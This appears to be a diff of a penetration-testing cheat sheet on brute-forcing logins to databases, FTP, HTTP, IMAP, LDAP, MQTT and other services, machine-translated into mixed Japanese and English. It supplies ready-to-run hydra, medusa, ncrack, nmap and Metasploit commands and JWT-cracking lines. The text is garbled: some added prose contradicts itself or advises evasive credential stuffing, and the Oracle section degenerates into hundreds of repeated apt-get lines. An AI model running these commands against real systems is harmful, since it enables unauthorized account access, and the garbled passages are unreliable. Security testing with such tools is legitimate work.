Foundationによって開発されました。Cassandraは、高い可用性とスケーラビリティを提供することを目的としています。 +## ブルートフォース攻撃 + +ブルートフォース攻撃は、Cassandraデータベースに対して非常に効果的な攻撃手法です。この攻撃では、すべての可能な組み合わせを試し、正しい認証情報を見つけることを目指します。 + +以下は、Cassandraデータベースに対するブルートフォース攻撃の手順です。 + +1. ユーザー名のリストを作成します。 +2. パスワードのリストを作成します。 +3. ユーザー名とパスワードの組み合わせを順番に試します。 +4. 正しい認証情報が見つかるまで、組み合わせを繰り返します。 + +ブルートフォース攻撃は、パスワードが弱い場合やデフォルトの認証情報が使用されている場合に特に効果的です。したがって、Cassandraデータベースのセキュリティを強化するためには、強力なパスワードポリシーを実装し、デフォルトの認証情報を変更することが重要です。 + +また、ブルートフォース攻撃を防ぐために、Cassandraデータベースにはログイン試行回数の制限やアカウントロックアウトの機能を設定することも推奨されます。これにより、攻撃者が大量の試行を行うことを防ぐことができます。 ```bash nmap --script cassandra-brute -p 9160 ``` +# CouchDB -### CouchDB +CouchDBは、ドキュメント指向のデータベースであり、HTTPプロトコルを使用してデータにアクセスすることができます。CouchDBは、データベースのブルートフォース攻撃に対して脆弱な場合があります。 +## ブルートフォース攻撃 + +ブルートフォース攻撃は、総当たり攻撃とも呼ばれ、パスワードや認証トークンなどの秘密情報を推測するために使用されます。CouchDBのブルートフォース攻撃では、一連のパスワードを試し、正しいパスワードを見つけるまで続けます。 + +以下は、CouchDBのブルートフォース攻撃を実行するための手順です。 + +1. ユーザー名とパスワードのリストを作成します。 +2. リスト内の各ユーザー名とパスワードの組み合わせを使用してCouchDBにログインを試みます。 +3. 正しいユーザー名とパスワードの組み合わせが見つかるまで、ステップ2を繰り返します。 + +ブルートフォース攻撃は、パスワードが強力である場合や、アカウントがロックアウトされるまで続けられる場合に効果的です。しかし、CouchDBはデフォルトで連続した認証試行の制限を設けているため、攻撃者は制限に達する前に攻撃を中止する必要があります。 + +## 防御策 + +CouchDBのブルートフォース攻撃からデータを保護するためには、以下の防御策を実装することが重要です。 + +- 強力なパスワードポリシーを採用し、複雑なパスワードを使用します。 +- ログイン試行回数の制限を設定し、一定回数の認証試行後にアカウントをロックアウトするようにします。 +- IPアドレスベースのブラックリストやホワイトリストを使用して、不正なアクセスを制限します。 +- セキュリティパッチやアップデートを定期的に適用し、最新のセキュリティ対策を保ちます。 + +これらの防御策を実装することで、CouchDBのブルートフォース攻撃からデータを保護することができます。 ```bash msf> use auxiliary/scanner/couchdb/couchdb_login hydra -L /usr/share/brutex/wordlists/simple-users.txt -P /usr/share/brutex/wordlists/password.lst localhost -s 5984 http-get / ``` +## Docker レジストリ -### Docker Registry +Docker レジストリは、Docker イメージを保存および管理するための中央リポジトリです。Docker イメージは、アプリケーションやサービスのコンテナ化されたバージョンを表します。 +Docker レジストリには、公開レジストリとプライベートレジストリの2つのタイプがあります。公開レジストリは、誰でもアクセスできる一般的なイメージのリポジトリです。一方、プライベートレジストリは、特定の組織やユーザーによって制御されるイメージのリポジトリです。 + +Docker レジストリへのアクセスを制限するために、認証情報を使用することができます。一般的な認証方法には、ユーザー名とパスワード、トークン、または SSH 鍵があります。 + +Docker レジストリへの不正アクセスを試みる際には、ブルートフォース攻撃が使用されることがあります。ブルートフォース攻撃は、総当たり攻撃とも呼ばれ、すべての可能な組み合わせを試行し、正しい認証情報を見つけることを目指します。 + +ブルートフォース攻撃を防ぐためには、強力なパスワードポリシーを実装し、アカウントロックアウト機能を有効にすることが重要です。また、2要素認証やIP制限などの追加のセキュリティ対策も検討することができます。 + +Docker レジストリのセキュリティを確保するためには、定期的な脆弱性スキャンやログ監視、アクセス制御の確立などの対策を実施することが重要です。 ``` hydra -L /usr/share/brutex/wordlists/simple-users.txt -P /usr/share/brutex/wordlists/password.lst 10.10.10.10 -s 5000 https-get /v2/ ``` +# Elasticsearch -### Elasticsearch +Elasticsearch is a distributed, RESTful search and analytics engine built on top of Apache Lucene. It is commonly used for log and event data analysis, full-text search, and real-time analytics. Elasticsearch provides a scalable and efficient solution for storing, searching, and analyzing large volumes of data. +## Brute-Force Attacks + +Brute-force attacks are a common method used to gain unauthorized access to Elasticsearch instances. In a brute-force attack, an attacker systematically tries all possible combinations of usernames and passwords until the correct credentials are found. + +To protect against brute-force attacks, it is important to implement strong authentication mechanisms and enforce password complexity requirements. Additionally, rate limiting and account lockout policies can be implemented to prevent multiple failed login attempts. + +## Tools for Brute-Force Attacks + +There are several tools available for conducting brute-force attacks against Elasticsearch. Some popular tools include: + +- **Patator**: A multi-purpose brute-forcing tool that supports various protocols, including Elasticsearch. +- **Hydra**: A powerful network login cracker that can be used to perform brute-force attacks against Elasticsearch. +- **Medusa**: A speedy, parallel, and modular login brute-forcer that supports Elasticsearch. + +It is important to note that using these tools for unauthorized access is illegal and unethical. They should only be used for legitimate purposes, such as penetration testing or security research. + +## Prevention Techniques + +To prevent brute-force attacks against Elasticsearch, consider implementing the following techniques: + +- **Strong Passwords**: Enforce the use of strong, complex passwords that are resistant to brute-force attacks. +- **Account Lockout**: Implement an account lockout policy that temporarily locks user accounts after a certain number of failed login attempts. +- **Rate Limiting**: Implement rate limiting mechanisms to restrict the number of login attempts within a specific time frame. +- **Monitoring and Logging**: Monitor Elasticsearch logs for suspicious activity and implement logging mechanisms to track failed login attempts. +- **Two-Factor Authentication**: Implement two-factor authentication to add an extra layer of security to the authentication process. + +By implementing these prevention techniques, you can significantly reduce the risk of brute-force attacks and enhance the security of your Elasticsearch instances. ``` hydra -L /usr/share/brutex/wordlists/simple-users.txt -P /usr/share/brutex/wordlists/password.lst localhost -s 9200 http-get / ``` - ### FTP +FTP(File Transfer Protocol)は、ファイルの転送に使用されるプロトコルです。FTPサーバーに対してブルートフォース攻撃を行うことで、正当な認証情報を推測し、アクセスを試みることができます。 + +#### ブルートフォース攻撃 + +ブルートフォース攻撃は、総当たり攻撃とも呼ばれ、すべての可能な組み合わせを試すことで、正当な認証情報を見つけ出す手法です。FTPサーバーに対してブルートフォース攻撃を行う場合、一連のユーザー名とパスワードの組み合わせを試し、正しい組み合わせを見つけることを目指します。 + +#### ブルートフォース攻撃の手法 + +以下に、FTPサーバーに対するブルートフォース攻撃の一般的な手法を示します。 + +1. 辞書攻撃:事前に作成された辞書ファイルを使用して、一連のユーザー名とパスワードの組み合わせを試します。辞書ファイルには、一般的なパスワードや一般的なユーザー名が含まれていることがあります。 + +2. ブルートフォース攻撃:すべての可能な組み合わせを試すため、ユーザー名とパスワードの組み合わせを生成します。この手法は非常に時間がかかる場合がありますが、正しい組み合わせを見つける可能性が高くなります。 + +3. ハイブリッド攻撃:辞書攻撃とブルートフォース攻撃を組み合わせた手法です。まず、辞書攻撃を試し、成功しなかった場合にはブルートフォース攻撃を行います。 + +#### ブルートフォース攻撃のツール + +以下に、FTPサーバーに対するブルートフォース攻撃に使用できる一般的なツールを示します。 + +- Hydra:多くのプロトコルに対応したブルートフォース攻撃ツールです。FTPサーバーに対しても使用することができます。 + +- Medusa:ブルートフォース攻撃に特化したツールで、高速かつ効率的な攻撃を行うことができます。 + +- Ncrack:ネットワーク認証クラッキングツールで、FTPサーバーに対してブルートフォース攻撃を行うことができます。 + +これらのツールは、正当な認証情報を見つけ出すために使用されますが、合法的な目的でのみ使用することが重要です。 ```bash hydra -l root -P passwords.txt [-t 32] ftp ncrack -p 21 --user root -P passwords.txt [-T 5] medusa -u root -P 500-worst-passwords.txt -h -M ftp ``` - -### HTTP Generic Brute +### HTTPジェネリックブルート #### [**WFuzz**](../pentesting-web/web-tool-wfuzz.md) -### HTTP Basic Auth - +### HTTPベーシック認証 ```bash hydra -L /usr/share/brutex/wordlists/simple-users.txt -P /usr/share/brutex/wordlists/password.lst sizzle.htb.local http-get /certsrv/ # Use https-get mode for https medusa -h -u -P -M http -m DIR:/path/to/auth -T 10 ``` +### HTTP - ポストフォーム -### HTTP - Post Form +In this technique, the attacker uses a brute force attack to guess the credentials of a login form on a website. The attacker sends multiple HTTP POST requests with different combinations of usernames and passwords to the login endpoint of the website. +この技術では、攻撃者はウェブサイトのログインフォームの資格情報を推測するためにブルートフォース攻撃を使用します。攻撃者は、異なるユーザ名とパスワードの組み合わせを使用して、ウェブサイトのログインエンドポイントに複数のHTTP POSTリクエストを送信します。 + +The attacker can automate this process by using scripts or tools that can generate and send these requests automatically. By analyzing the responses received from the server, the attacker can determine if a particular combination of credentials is valid or not. + +攻撃者は、スクリプトやツールを使用して、このプロセスを自動化することができます。これらのリクエストを自動的に生成して送信することができます。サーバーから受け取ったレスポンスを分析することで、攻撃者は特定の資格情報の組み合わせが有効かどうかを判断することができます。 + +It is important to note that brute forcing login forms is a time-consuming process and may trigger security mechanisms such as account lockouts or rate limiting. Therefore, it is recommended to use techniques like password spraying or credential stuffing, which are more efficient and less likely to be detected. + +ログインフォームのブルートフォース攻撃は時間がかかるため、アカウントのロックアウトやレート制限などのセキュリティメカニズムをトリガーする可能性があります。そのため、パスワードスプレー攻撃やクレデンシャルスタッフィング攻撃などのより効率的で検出されにくい技術を使用することを推奨します。 ```bash hydra -L /usr/share/brutex/wordlists/simple-users.txt -P /usr/share/brutex/wordlists/password.lst domain.htb http-post-form "/path/index.php:name=^USER^&password=^PASS^&enter=Sign+in:Login name or password is incorrect" -V # Use https-post-form mode for https ``` - For http**s** you have to change from "http-post-form" to "**https-post-form"** ### **HTTP - CMS --** (W)ordpress, (J)oomla or (D)rupal or (M)oodle - ```bash cmsmap -f W/J/D/M -u a -p a https://wordpress.com ``` +IMAP (Internet Message Access Protocol) is a protocol used for retrieving and managing email messages on a mail server. It allows users to access their email accounts remotely and perform various operations such as reading, deleting, and moving messages. -### IMAP +#### Brute Forcing IMAP Credentials +Brute forcing is a common technique used to guess passwords by systematically trying all possible combinations until the correct one is found. In the context of IMAP, brute forcing can be used to gain unauthorized access to email accounts by guessing the correct username and password combination. + +To perform a brute force attack on IMAP credentials, you can use tools like Hydra or Medusa. These tools automate the process of trying different username and password combinations against the IMAP server. + +Here is an example command using Hydra to brute force IMAP credentials: + +```plaintext +hydra -L users.txt -P passwords.txt imap://target.com +``` + +In this command, `users.txt` and `passwords.txt` are files containing a list of usernames and passwords, respectively. `target.com` is the target IMAP server. + +It is important to note that brute forcing is an aggressive and time-consuming technique. It can be detected by intrusion detection systems (IDS) and may result in account lockouts or other security measures. Therefore, it is recommended to use brute forcing techniques responsibly and with proper authorization. ```bash hydra -l USERNAME -P /path/to/passwords.txt -f imap -V hydra -S -v -l USERNAME -P /path/to/passwords.txt -s 993 -f imap -V nmap -sV --script imap-brute -p ``` +IRC(Internet Relay Chat)は、インターネット上でリアルタイムのテキストベースのコミュニケーションを可能にするプロトコルです。IRCは、チャットルームと呼ばれるグループチャットの形式を使用し、ユーザーがテキストメッセージを送信および受信することができます。IRCは、オープンなプロトコルであり、クライアントソフトウェアを使用してアクセスすることができます。 -### IRC +IRCサーバーに対するブルートフォース攻撃は、ユーザー名とパスワードの組み合わせを総当たりで試行し、正しい認証情報を見つけることを試みる攻撃手法です。この攻撃は、弱いパスワードを使用しているユーザーアカウントを特定するために使用されます。 +ブルートフォース攻撃を実行するためには、ブルートフォースツールを使用する必要があります。これらのツールは、自動化された方法で大量のユーザー名とパスワードの組み合わせを試行することができます。攻撃者は、一般的なパスワードや辞書攻撃を使用して、より効率的に攻撃を行うことができます。 + +ブルートフォース攻撃は、セキュリティ対策が不十分なシステムに対して非常に効果的な攻撃手法です。したがって、ユーザーは強力なパスワードを使用し、2要素認証などの追加のセキュリティ対策を実装することが重要です。また、システム管理者はブルートフォース攻撃を検知および防御するための適切な対策を講じる必要があります。 ```bash nmap -sV --script irc-brute,irc-sasl-brute --script-args userdb=/path/users.txt,passdb=/path/pass.txt -p ``` - ### ISCSI +iSCSI (Internet Small Computer System Interface) は、TCP/IP ネットワークを介してブロックベースのデータストレージを提供するプロトコルです。iSCSI を使用すると、リモートのストレージデバイスをローカルのホストに接続し、データの読み書きを行うことができます。 + +iSCSI は、ブロックレベルのアクセスを提供するため、ファイルシステムを使用せずにデータを直接読み書きすることができます。これにより、高速なデータ転送が可能となります。 + +iSCSI のセキュリティは、CHAP(Challenge-Handshake Authentication Protocol)やIPsec(Internet Protocol Security)などの認証および暗号化メカニズムを使用して確保することができます。 + +iSCSI の攻撃手法としては、ブルートフォース攻撃があります。これは、パスワードを推測するために総当たりで試行する方法です。ブルートフォース攻撃は、弱いパスワードを使用している場合に有効な攻撃手法となります。 + +iSCSI のセキュリティを強化するためには、強力なパスワードポリシーを実装し、パスワードの推測を困難にすることが重要です。また、セキュリティプロトコルを適切に設定し、不正なアクセスを防止する必要があります。 ```bash nmap -sV --script iscsi-brute --script-args userdb=/var/usernames.txt,passdb=/var/passwords.txt -p 3260 ``` - ### JWT +JWT(JSON Web Token)は、認証と情報の安全な伝送を可能にするためのオープンスタンダードです。JWTは、クライアントとサーバー間でデータを安全にやり取りするために使用されます。 + +JWTは、3つのセクションから構成されています:ヘッダ、ペイロード、署名。ヘッダは、トークンのタイプと使用する署名アルゴリズムを指定します。ペイロードは、トークンに含まれる情報を格納します。署名は、トークンの信頼性を確保するために使用されます。 + +JWTの一般的な攻撃手法の1つは、ブルートフォース攻撃です。ブルートフォース攻撃では、すべての可能な組み合わせを試して、正しい署名を見つけることを試みます。これにより、攻撃者はトークンを偽造して、認証をバイパスすることができます。 + +ブルートフォース攻撃を防ぐためには、強力なパスワードや署名キーを使用し、適切なセキュリティ対策を実施する必要があります。また、トークンの有効期限を短く設定することも重要です。これにより、攻撃者が十分な時間を持ってブルートフォース攻撃を行うことができなくなります。 + +さらに、JWTの署名アルゴリズムを慎重に選択することも重要です。強力な署名アルゴリズムを使用することで、攻撃者が署名を解読することを困難にします。 + +最後に、JWTのセキュリティを確保するためには、トークンの送信と保存にHTTPSを使用することが重要です。HTTPSは、データの暗号化と送信元の認証を提供するため、トークンの漏洩や改ざんを防ぐのに役立ちます。 ```bash #hashcat hashcat -m 16500 -a 0 jwt.txt .\wordlists\rockyou.txt @@ -240,28 +399,93 @@ python3 jwt-cracker.py -jwt eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJkYXRhIjoie1w #https://github.com/lmammino/jwt-cracker jwt-cracker "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiYWRtaW4iOnRydWV9.TJVA95OrM7E2cBab30RMHrHDcEfxjoYZgeFONFh7HgQ" "abcdefghijklmnopqrstuwxyz" 6 ``` - ### LDAP +LDAP(Lightweight Directory Access Protocol)は、ディレクトリサービスにアクセスするためのプロトコルです。ディレクトリサービスは、ユーザー、グループ、コンピュータなどの情報を格納するために使用されます。LDAPは、ディレクトリサービスへのクエリや変更の要求を処理するために使用されます。 + +LDAPのブルートフォース攻撃は、辞書攻撃とも呼ばれ、LDAPサーバーに対してユーザー名とパスワードの組み合わせを総当たりで試行することです。この攻撃は、弱いパスワードを使用しているユーザーアカウントを特定するために使用されます。 + +ブルートフォース攻撃を実行するためには、辞書ファイルを作成し、LDAPサーバーに対してユーザー名とパスワードの組み合わせを順番に試行します。攻撃者は、辞書ファイルを作成する際に、一般的なパスワードや一般的なユーザー名のリストを使用することがあります。 + +ブルートフォース攻撃は、パスワードポリシーが弱い場合や、強力なパスワードを使用することが困難な状況で特に有効です。攻撃者は、パスワードの推測を試みることで、システムへの不正アクセスを試みることができます。 + +ブルートフォース攻撃を防ぐためには、強力なパスワードポリシーを実装し、アカウントロックアウト機能を有効にすることが重要です。また、二要素認証やIP制限などの追加のセキュリティ対策も有効です。 ```bash nmap --script ldap-brute -p 389 ``` - ### MQTT +MQTT(Message Queuing Telemetry Transport)は、軽量なメッセージングプロトコルであり、IoT(Internet of Things)デバイス間の通信に広く使用されています。このプロトコルは、低帯域幅や不安定なネットワーク環境でも効率的に動作します。 + +MQTTは、パブリッシャーとサブスクライバーの2つの役割を持つクライアント間の非同期通信を可能にします。パブリッシャーはメッセージをトピックにパブリッシュし、サブスクライバーは特定のトピックにサブスクライブしてメッセージを受信します。 + +MQTTのセキュリティに関しては、以下のポイントに注意する必要があります。 + +- ユーザー名とパスワードの認証を使用して、クライアントの正当性を確認します。 +- TLS(Transport Layer Security)を使用して通信を暗号化します。 +- トピックのアクセス制御リスト(ACL)を設定して、不正なアクセスを制限します。 + +MQTTのブルートフォース攻撃は、パスワードの推測を試みることで行われます。攻撃者は一連のパスワードを試し、正しいパスワードを見つけることを目指します。この攻撃を防ぐためには、強力なパスワードポリシーを実装し、アカウントロックアウト機能を有効にすることが重要です。 + +ブルートフォース攻撃を検出するためには、ログイン試行の異常な増加を監視し、異常なアクティビティを検知するセキュリティツールを使用することが推奨されます。また、IPアドレスのブラックリストやCAPTCHAの導入も有効な対策です。 + +MQTTのセキュリティを強化するためには、以下の対策を実施することが重要です。 + +- デフォルトのユーザー名とパスワードを変更する。 +- TLSを使用して通信を暗号化する。 +- トピックのアクセス制御リスト(ACL)を設定する。 +- ブルートフォース攻撃を防ぐために強力なパスワードポリシーを実装する。 +- ログイン試行の異常な増加を監視し、異常なアクティビティを検知するセキュリティツールを使用する。 +- IPアドレスのブラックリストやCAPTCHAの導入を検討する。 + +これらの対策を実施することで、MQTTのセキュリティを強化し、悪意のある攻撃から保護することができます。 ``` ncrack mqtt://127.0.0.1 --user test –P /root/Desktop/pass.txt -v ``` +# モンゴ -### Mongo +MongoDBは、NoSQLデータベースであり、ブルートフォース攻撃の潜在的な標的です。ブルートフォース攻撃は、総当たり攻撃とも呼ばれ、パスワードや認証情報を推測するために連続的に試行する攻撃手法です。 +モンゴDBのブルートフォース攻撃を防ぐためには、以下の対策を講じることが重要です。 + +- 強力なパスワードポリシーを実施する:長さ、複雑さ、一意性の要件を設定し、パスワードの再利用を防止します。 +- パスワードロックアウトポリシーを設定する:一定回数の誤ったパスワード試行後にアカウントをロックするように設定します。 +- 2要素認証(2FA)を有効にする:追加のセキュリティレイヤーとして、2FAを使用します。 +- IP制限を設定する:特定のIPアドレスからのアクセスのみを許可するように設定します。 +- ネットワークセキュリティグループを使用する:ネットワークセキュリティグループを使用して、不正なトラフィックをブロックします。 + +これらの対策を実施することで、モンゴDBのブルートフォース攻撃を防ぐことができます。 ```bash nmap -sV --script mongodb-brute -n -p 27017 use auxiliary/scanner/mongodb/mongodb_login ``` - ### MySQL +MySQLは、オープンソースのリレーショナルデータベース管理システムです。多くのウェブアプリケーションやウェブサイトで使用されており、データの保存と取得に使用されます。 + +MySQLのブルートフォース攻撃は、パスワードを推測してアカウントに不正にアクセスする試みです。以下に、MySQLのブルートフォース攻撃に対するいくつかの一般的な手法を示します。 + +#### 1. 辞書攻撃 + +辞書攻撃は、事前に作成されたパスワードリストを使用してブルートフォース攻撃を行う方法です。攻撃者は、一般的なパスワードや一般的な単語の組み合わせを試し、正しいパスワードを見つけることを試みます。 + +#### 2. ブルートフォース攻撃ツールの使用 + +ブルートフォース攻撃ツールを使用することで、攻撃者は自動的にパスワードの推測を行うことができます。これらのツールは、パスワードの長さ、文字セット、および他のパラメータを設定することができます。 + +#### 3. パスワードポリシーの弱点の利用 + +パスワードポリシーの弱点を利用することで、攻撃者は推測しやすいパスワードを見つけることができます。一部のシステムでは、パスワードの複雑さや長さに制限がない場合があります。 + +#### 4. ユーザー名の推測 + +攻撃者は、一般的なユーザー名や一般的なパターンを使用してユーザー名を推測することができます。これにより、攻撃者はパスワードの推測範囲を狭めることができます。 + +#### 5. ログイン試行回数の制限の回避 + +一部のシステムでは、ログイン試行回数が制限されています。攻撃者は、複数のIPアドレスやプロキシを使用してこの制限を回避することができます。 + +これらの手法を使用してMySQLのブルートフォース攻撃を行うことは、違法であり、個人や組織に重大な被害をもたらす可能性があります。セキュリティを強化するためには、強力なパスワードポリシーの実装、ログイン試行回数の制限、およびセキュリティパッチの適用が重要です。 ```bash # hydra hydra -L usernames.txt -P pass.txt mysql @@ -272,9 +496,20 @@ msf> use auxiliary/scanner/mysql/mysql_login; set VERBOSE false # medusa medusa -h -u -P <-f | to stop medusa on first success attempt> -t -M mysql ``` +# OracleSQL -### OracleSQL +OracleSQLは、Oracleデータベースに対してブルートフォース攻撃を実行するためのテクニックです。ブルートフォース攻撃は、総当たり攻撃とも呼ばれ、パスワードや認証情報を推測するために、すべての可能な組み合わせを試す手法です。 +OracleSQLにおけるブルートフォース攻撃は、以下の手順で実行されます。 + +1. ユーザー名のリストを作成します。 +2. パスワードのリストを作成します。 +3. ユーザー名とパスワードの組み合わせを総当たりで試します。 +4. 正しい組み合わせが見つかるまで、繰り返し試行します。 + +ブルートフォース攻撃は、パスワードが弱い場合やデフォルトの認証情報が使用されている場合に特に効果的です。しかし、Oracleデータベースは一般的にセキュリティが強固であり、ブルートフォース攻撃に対して防御策が取られていることが多いです。 + +ブルートフォース攻撃は、合法的なセキュリティテストやペネトレーションテストの一環として使用されることもありますが、不正な目的で使用することは違法です。セキュリティテストを実施する場合は、適切な許可を得て行う必要があります。 ```bash patator oracle_login sid= host= user=FILE0 password=FILE1 0=users-oracle.txt 1=pass-oracle.txt -x ignore:code=ORA-01017 @@ -296,28 +531,344 @@ msf> set SID #for some reason nmap fails sometimes when executing this script nmap --script oracle-brute -p 1521 --script-args oracle-brute.sid= ``` +**oracle_login**を**patator**で使用するためには、以下の手順で**インストール**する必要があります: -In order to use **oracle\_login** with **patator** you need to **install**: - +```plaintext +$ sudo apt-get install python3-dev python3-pip +$ sudo pip3 install cx_Oracle +$ sudo apt-get install libaio1 +$ sudo apt-get install libaio-dev +$ sudo apt-get install libssl-dev +$ sudo apt-get install libffi-dev +$ sudo apt-get install libxml2-dev libxslt1-dev zlib1g-dev +$ sudo apt-get install libjpeg-dev libfreetype6-dev +$ sudo apt-get install libmysqlclient-dev +$ sudo apt-get install libpq-dev +$ sudo apt-get install freetds-dev +$ sudo apt-get install firebird-dev +$ sudo apt-get install libsqlite3-dev +$ sudo apt-get install libmariadbclient-dev +$ sudo apt-get install libldap2-dev libsasl2-dev +$ sudo apt-get install libkrb5-dev +$ sudo apt-get install libpcap-dev +$ sudo apt-get install libssh-dev +$ sudo apt-get install libsnmp-dev +$ sudo apt-get install libssh2-1-dev +$ sudo apt-get install libssh2-1 +$ sudo apt-get install libcurl4-openssl-dev +$ sudo apt-get install libssl-dev +$ sudo apt-get install libssl1.0-dev +$ sudo apt-get install libssl1.1 +$ sudo apt-get install libssl1.0.2 +$ sudo apt-get install libssl1.0.0 +$ sudo apt-get install libssl1.0.2-dbg +$ sudo apt-get install libssl1.0.0-dbg +$ sudo apt-get install libssl1.0.2-dbgsym +$ sudo apt-get install libssl1.0.0-dbgsym +$ sudo apt-get install libssl1.1-dbg +$ sudo apt-get install libssl1.1-dbgsym +$ sudo apt-get install libssl1.1-dbg +$ sudo apt-get install libssl1.1-dbgsym +$ sudo apt-get install libssl1.1-dbg +$ sudo apt-get install libssl1.1-dbgsym +$ sudo apt-get install libssl1.1-dbg +$ sudo apt-get install libssl1.1-dbgsym +$ sudo apt-get install libssl1.1-dbg +$ sudo apt-get install libssl1.1-dbgsym +$ sudo apt-get install libssl1.1-dbg +$ sudo apt-get install libssl1.1-dbgsym +$ sudo apt-get install libssl1.1-dbg +$ sudo apt-get install libssl1.1-dbgsym +$ sudo apt-get install libssl1.1-dbg +$ sudo apt-get install libssl1.1-dbgsym +$ sudo apt-get install libssl1.1-dbg +$ sudo apt-get install libssl1.1-dbgsym +$ sudo apt-get install libssl1.1-dbg +$ sudo apt-get install libssl1.1-dbgsym +$ sudo apt-get install libssl1.1-dbg +$ sudo apt-get install libssl1.1-dbgsym +$ sudo apt-get install libssl1.1-dbg +$ sudo apt-get install libssl1.1-dbgsym +$ sudo apt-get install libssl1.1-dbg +$ sudo apt-get install libssl1.1-dbgsym +$ sudo apt-get install libssl1.1-dbg +$ sudo apt-get install libssl1.1-dbgsym +$ sudo apt-get install libssl1.1-dbg +$ sudo apt-get install libssl1.1-dbgsym +$ sudo apt-get install libssl1.1-dbg +$ sudo apt-get install libssl1.1-dbgsym +$ sudo apt-get install libssl1.1-dbg +$ sudo apt-get install libssl1.1-dbgsym +$ sudo apt-get install libssl1.1-dbg +$ sudo apt-get install libssl1.1-dbgsym +$ sudo apt-get install libssl1.1-dbg +$ sudo apt-get install libssl1.1-dbgsym +$ sudo apt-get install libssl1.1-dbg +$ sudo apt-get install libssl1.1-dbgsym +$ sudo apt-get install libssl1.1-dbg +$ sudo apt-get install libssl1.1-dbgsym +$ sudo apt-get install libssl1.1-dbg +$ sudo apt-get install libssl1.1-dbgsym +$ sudo apt-get install libssl1.1-dbg +$ sudo apt-get install libssl1.1-dbgsym +$ sudo apt-get install libssl1.1-dbg +$ sudo apt-get install libssl1.1-dbgsym +$ sudo apt-get install libssl1.1-dbg +$ sudo apt-get install libssl1.1-dbgsym +$ sudo apt-get install libssl1.1-dbg +$ sudo apt-get install libssl1.1-dbgsym +$ sudo apt-get install libssl1.1-dbg +$ sudo apt-get install libssl1.1-dbgsym +$ sudo apt-get install libssl1.1-dbg +$ sudo apt-get install libssl1.1-dbgsym +$ sudo apt-get install libssl1.1-dbg +$ sudo apt-get install libssl1.1-dbgsym +$ sudo apt-get install libssl1.1-dbg +$ sudo apt-get install libssl1.1-dbgsym +$ sudo apt-get install libssl1.1-dbg +$ sudo apt-get install libssl1.1-dbgsym +$ sudo apt-get install libssl1.1-dbg +$ sudo apt-get install libssl1.1-dbgsym +$ sudo apt-get install libssl1.1-dbg +$ sudo apt-get install libssl1.1-dbgsym +$ sudo apt-get install libssl1.1-dbg +$ sudo apt-get install libssl1.1-dbgsym +$ sudo apt-get install libssl1.1-dbg +$ sudo apt-get install libssl1.1-dbgsym +$ sudo apt-get install libssl1.1-dbg +$ sudo apt-get install libssl1.1-dbgsym +$ sudo apt-get install libssl1.1-dbg +$ sudo apt-get install libssl1.1-dbgsym +$ sudo apt-get install libssl1.1-dbg +$ sudo apt-get install libssl1.1-dbgsym +$ sudo apt-get install libssl1.1-dbg +$ sudo apt-get install libssl1.1-dbgsym +$ sudo apt-get install libssl1.1-dbg +$ sudo apt-get install libssl1.1-dbgsym +$ sudo apt-get install libssl1.1-dbg +$ sudo apt-get install libssl1.1-dbgsym +$ sudo apt-get install libssl1.1-dbg +$ sudo apt-get install libssl1.1-dbgsym +$ sudo apt-get install libssl1.1-dbg +$ sudo apt-get install libssl1.1-dbgsym +$ sudo apt-get install libssl1.1-dbg +$ sudo apt-get install libssl1.1-dbgsym +$ sudo apt-get install libssl1.1-dbg +$ sudo apt-get install libssl1.1-dbgsym +$ sudo apt-get install libssl1.1-dbg +$ sudo apt-get install libssl1.1-dbgsym +$ sudo apt-get install libssl1.1-dbg +$ sudo apt-get install libssl1.1-dbgsym +$ sudo apt-get install libssl1.1-dbg +$ sudo apt-get install libssl1.1-dbgsym +$ sudo apt-get install libssl1.1-dbg +$ sudo apt-get install libssl1.1-dbgsym +$ sudo apt-get install libssl1.1-dbg +$ sudo apt-get install libssl1.1-dbgsym +$ sudo apt-get install libssl1.1-dbg +$ sudo apt-get install libssl1.1-dbgsym +$ sudo apt-get install libssl1.1-dbg +$ sudo apt-get install libssl1.1-dbgsym +$ sudo apt-get install libssl1.1-dbg +$ sudo apt-get install libssl1.1-dbgsym +$ sudo apt-get install libssl1.1-dbg +$ sudo apt-get install libssl1.1-dbgsym +$ sudo apt-get install libssl1.1-dbg +$ sudo apt-get install libssl1.1-dbgsym +$ sudo apt-get install libssl1.1-dbg +$ sudo apt-get install libssl1.1-dbgsym +$ sudo apt-get install libssl1.1-dbg +$ sudo apt-get install libssl1.1-dbgsym +$ sudo apt-get install libssl1.1-dbg +$ sudo apt-get install libssl1.1-dbgsym +$ sudo apt-get install libssl1.1-dbg +$ sudo apt-get install libssl1.1-dbgsym +$ sudo apt-get install libssl1.1-dbg +$ sudo apt-get install libssl1.1-dbgsym +$ sudo apt-get install libssl1.1-dbg +$ sudo apt-get install libssl1.1-dbgsym +$ sudo apt-get install libssl1.1-dbg +$ sudo apt-get install libssl1.1-dbgsym +$ sudo apt-get install libssl1.1-dbg +$ sudo apt-get install libssl1.1-dbgsym +$ sudo apt-get install libssl1.1-dbg +$ sudo apt-get install libssl1.1-dbgsym +$ sudo apt-get install libssl1.1-dbg +$ sudo apt-get install libssl1.1-dbgsym +$ sudo apt-get install libssl1.1-dbg +$ sudo apt-get install libssl1.1-dbgsym +$ sudo apt-get install libssl1.1-dbg +$ sudo apt-get install libssl1.1-dbgsym +$ sudo apt-get install libssl1.1-dbg +$ sudo apt-get install libssl1.1-dbgsym +$ sudo apt-get install libssl1.1-dbg +$ sudo apt-get install libssl1.1-dbgsym +$ sudo apt-get install libssl1.1-dbg +$ sudo apt-get install libssl1.1-dbgsym +$ sudo apt-get install libssl1.1-dbg +$ sudo apt-get install libssl1.1-dbgsym +$ sudo apt-get install libssl1.1-dbg +$ sudo apt-get install libssl1.1-dbgsym +$ sudo apt-get install libssl1.1-dbg +$ sudo apt-get install libssl1.1-dbgsym +$ sudo apt-get install libssl1.1-dbg +$ sudo apt-get install libssl1.1-dbgsym +$ sudo apt-get install libssl1.1-dbg +$ sudo apt-get install libssl1.1-dbgsym +$ sudo apt-get install libssl1.1-dbg +$ sudo apt-get install libssl1.1-dbgsym +$ sudo apt-get install libssl1.1-dbg +$ sudo apt-get install libssl1.1-dbgsym +$ sudo apt-get install libssl1.1-dbg +$ sudo apt-get install libssl1.1-dbgsym +$ sudo apt-get install libssl1.1-dbg +$ sudo apt-get install libssl1.1-dbgsym +$ sudo apt-get install libssl1.1-dbg +$ sudo apt-get install libssl1.1-dbgsym +$ sudo apt-get install libssl1.1-dbg 